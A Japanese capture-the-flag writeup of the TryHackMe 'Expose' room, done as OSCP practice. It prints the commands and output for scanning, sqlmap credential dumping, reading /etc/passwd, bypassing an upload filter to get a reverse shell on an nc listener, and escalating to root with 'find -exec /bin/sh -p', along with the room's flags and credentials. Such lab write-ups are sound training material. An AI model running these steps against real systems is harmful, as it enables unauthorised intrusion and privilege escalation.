【TryHackMe】Expose Writeup

# はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「[Expose](https://tryhackme.com/room/expose)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Task1 Expose
ポートスキャンを行います。

```
└─$ nmap -Pn -T4 10.10.246.174
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-27 08:36 EDT
Nmap scan report for 10.10.246.174
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
53/tcp open  domain

Nmap done: 1 IP address (1 host up) scanned in 15.20 seconds

```

ftpサーバがopenであり、かつ匿名でログインが可能である点も確認しました。
しかしが、ログインしても何もない、、
```
└─$ nmap --script ftp-anon 10.10.246.174
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-27 08:36 EDT
Nmap scan report for 10.10.246.174
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh
53/tcp open  domain

Nmap done: 1 IP address (1 host up) scanned in 28.94 seconds
                                                                      
```

ポートスキャンのポートの範囲を指定した所、さらにポートを確認することが出来ました。
```
└─$ nmap -Pn -T4 10.10.246.174 -p 1000-3000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-27 08:37 EDT
Nmap scan report for 10.10.246.174
Host is up (0.26s latency).
Not shown: 1999 closed tcp ports (conn-refused)
PORT     STATE SERVICE
1337/tcp open  waste
1883/tcp open  mqtt

Nmap done: 1 IP address (1 host up) scanned in 34.02 seconds
                
```

これだけではイマイチ分からないのですが、「-sV」オプションをつけると、ポート1337がhttpプロコトルであることが判明しました。

```
└─$ nmap -sV 10.10.246.174 -p 1000-3000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-27 08:38 EDT
Nmap scan report for 10.10.246.174
Host is up (0.26s latency).
Not shown: 1999 closed tcp ports (conn-refused)
PORT     STATE SERVICE                 VERSION
1337/tcp open  http                    Apache httpd 2.4.41 ((Ubuntu))
1883/tcp open  mosquitto version 1.6.9

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.15 seconds
```

実際にwebにアクセスしたが何もなさそうだったので、httpプロコトルに対して使用するgobusterコマンドで隠しディレクトリを探してみます。

```
└─$ gobuster dir -u http://10.10.246.174:1337 -w ../../usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.246.174:1337
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                ../../usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/admin                (Status: 301) [Size: 321] [--> http://10.10.246.174:1337/admin/]                                                                    
/admin_101            (Status: 301) [Size: 325] [--> http://10.10.246.174:1337/admin_101/]                                                                
/javascript           (Status: 301) [Size: 326] [--> http://10.10.246.174:1337/javascript/]                                                               
/phpmyadmin           (Status: 301) [Size: 326] [--> http://10.10.246.174:1337/phpmyadmin/]                                                               
/server-status        (Status: 403) [Size: 280]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================                  
```

すると「/admin」や「/admin_101」といった候補が解析されました。
それぞれアクセスしてみると、後者側にはログイン情報のメールアドレスがデフォルトで入力されている事が確認できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/486b584a-3545-abfc-a9f0-210dcad617a2.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/9c46f313-c05f-192a-9950-0785e1ec7ec2.png)


hydraあたりで総当たりに調べればいいと思いましたがうまく解析できなかった為、sqlmapを使用してSQLインジェクションを試みます。

方法としてはBurp Suiteを使用してリクエストを取得し、それに対してsqlmapを実行するとのこと
※Burp Suiteの使い方は省略します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/a842c324-b71e-2cde-eba2-17f0e2264838.png)


sqlmapによって、いくつかテーブル情報が出力されました。

2つ目のテーブルには2つのURLがあり、どちらもアクセスする際にパスワードが求められるのですが2つ目はそれが分からない状態になります。
どうやら頭文字がZのユーザ名であるとのこと

```
└─$ sqlmap -r admin_101.txt -dump
 ...
[1 entry]
+----+-----------------+---------------------+--------------------------------------+
| id | email           | created             | password                             |
+----+-----------------+---------------------+--------------------------------------+
| 1  | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 |
+----+-----------------+---------------------+--------------------------------------+
...
[2 entries]
+----+------------------------------+-----------------------------------------------------+
| id | url                          | password                                            |
+----+------------------------------+-----------------------------------------------------+
| 1  | /file1010111/index.php       | 69c66901194a6486176e81f5945b8929 (easytohack)       |
| 3  | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+
```

1つ目のURL「/file1010111/index.php」はパスワードも把握しているので、アクセスをしてみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/241c1d27-c6d4-f189-031a-2cfe2c8847b1.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/2e54790b-017e-5cd5-e539-f93b535065c3.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/fdc8604f-3edd-6bf4-eb30-6dfa30ac4c0b.png)

ソースコード内のヒントとして、GETパラメータにfileかviewを使用する必要があるとのことです。

先ほどsqlmapの解析より頭文字がZのユーザ名が必要になるので、ユーザ情報などが格納される「/etc/passwd」へアクセスすると、

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/f6411bd1-ec5c-d22d-7bdb-277cae865fa0.png)

そのファイルの中身が表示されました。またテキスト内に頭文字がZであるユーザー名「zeamkish」を確認することが出来ます。


sqlmapで解析したURL「/upload-cv00101011/index.php」へアクセスをすると、ファイルのアップローダ画面へ遷移されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/e4af259a-7e8a-a87e-b864-e78139c40ee2.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/8a0d1e10-cadc-a71b-fc6a-5dba6d0416c6.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/bb3c2f55-25c0-bbd1-bee2-b7c0075642b8.png)

ファイルのアップロードが可能な場合、基本的にはリバースシェル用のファイルを仕込むと思うのですが、どうやら拡張子が「png」ファイルでないとアップロードが出来なさそう。

この場合にはBurp Suiteを使用し、リクエスト情報を書き換え強制的にアップロードを行います。
リクエスト内のファイル名とContent-Type辺りを書き換えた後、リクエストを送りファイルをアップロードを試みると、成功しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/58d07001-e39b-94b6-2113-c1132cc8d112.png)

ファイルをアップロード後に画面が遷移され、ソースコードを確認するよう促されるため確認してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/72d42e48-92a7-9725-c648-6e514266f0fb.png)

するとアップロード先のパスが記載されている為、そのパスへアクセスしてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/013b6a94-e012-f374-5328-236e00dbcccd.png)

アップロードしたファイルを確認することができました。
対象のファイルをクリックすると実行されるため、事前にプロンプト上でnetcatコマンドを実行しておきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3560968/ba28eeba-43ca-a221-4052-1c7fd31e8df3.png)

そしてアップロードしたファイルをクリックして実行すると、リバースシェルが成功します。
```
└─$ nc -lvnp 1234                       
listening on [any] 1234 ...
connect to [10.8.59.30] from (UNKNOWN) [10.10.246.174] 47842
Linux ip-10-10-246-174 5.15.0-1039-aws #44~20.04.1-Ubuntu SMP Thu Jun 22 12:21:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 14:13:15 up  1:38,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```

## What is the user flag?

ようやくタスクに取り組める所まできました。まずはユーザー権限用のフラグの探索になります。

homeディレクトリ内のzeamkishに、2つのテキストファイルがある事を確認できます。
「flag.txt」にはアクセスできず、「ssh_creds.txt」にはsshのログイン情報が格納されている事を確認できます。

ここで冒頭のnmapコマンドの結果を振り返るとsshがオープンである事を確認できるため、このログイン情報を使用してssh接続を行います。

```
$ cd home
$ ls
ubuntu
zeamkish
$ cd zeamkish   
$ ls
flag.txt
ssh_creds.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat ssh_creds.txt
SSH CREDS
zeamkish
easytohack@123
```

無事ssh接続が出来ました。
```
└─$ ssh zeamkish@10.10.246.174   
The authenticity of host '10.10.246.174 (10.10.246.174)' can't be established.
ED25519 key fingerprint is SHA256:vpMXikgp9fwvXkmxj7UPVBLPaXI8YGyQVrSdq38tXug.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...

Last login: Sun Jul  2 17:27:46 2023 from 10.10.83.109
zeamkish@ip-10-10-246-174:~$ 
```

というわけでユーザ権限のフラグ獲得です。
```
zeamkish@ip-10-10-246-174:~$ ls
flag.txt  ssh_creds.txt
zeamkish@ip-10-10-246-174:~$ cat flag.txt 
THM{USER_FLAG_1231_EXPOSE}
```

## What is the root flag?

続いてroot権限のフラグになりますが、ここで脆弱のSUIDのコマンドを探します。

```
zeamkish@ip-10-10-246-174:/home$ find / -user root -perm -u=s 2>/dev/null
...
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/nano
/usr/bin/su
/usr/bin/fusermount
/usr/bin/find
/usr/bin/mount
```

するとfindコマンドが使えそうなので、[GTFOBind](https://gtfobins.github.io/gtfobins/find/)を参考に下記コマンドを実行すると、rootへ昇格することが出来ます。
```
zeamkish@ip-10-10-246-174:/home$ find . -exec /bin/sh -p \; -quit
# whoami
root
```

rootに昇格したので、あとはいつも通りにフラグ獲得します。
```
# cd ../root
# ls
flag.txt  snap
# cat flag.txt  
THM{ROOT_EXPOSED_1001}
```


# さいごに
以上となります。